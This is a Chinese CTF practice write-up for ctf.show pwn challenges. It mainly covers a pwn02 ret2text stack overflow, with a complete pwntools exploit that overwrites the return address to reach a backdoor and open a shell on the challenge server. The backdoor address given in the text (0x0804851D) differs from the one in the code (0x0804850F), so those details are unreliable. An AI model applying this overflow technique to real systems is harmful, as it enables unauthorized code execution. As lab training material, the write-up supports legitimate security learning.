练习题

pwn签到题

nc直连即可
alt text

pwn02

checksec查保护信息并运行，发现为32位程序，看到存在输入
alt text
使用ida反编译，发现存在fgets函数栈溢出，并且存在system函数
alt text
找到后门函数
alt text
打ret2text即可
计算偏移量得：0x09
alt text

后门函数地址：0x0804851D
alt text
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
# coding=utf-8
from pwn import *

context.update(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])

sh = remote('pwn.challenge.ctf.show', 28148)
# sh = process('./pwn')
elf = ELF('./pwn')

offset = 0x09 + 0x04
backdoor_addr = 0x0804850F

payload = b'a' * offset + p32(backdoor_addr)

sh.sendline(payload)
sh.interactive()

alt text
alt text

pwn03

pwn04

pwn05

pwn06

pwn07

01栈溢出之ret2text

pwn10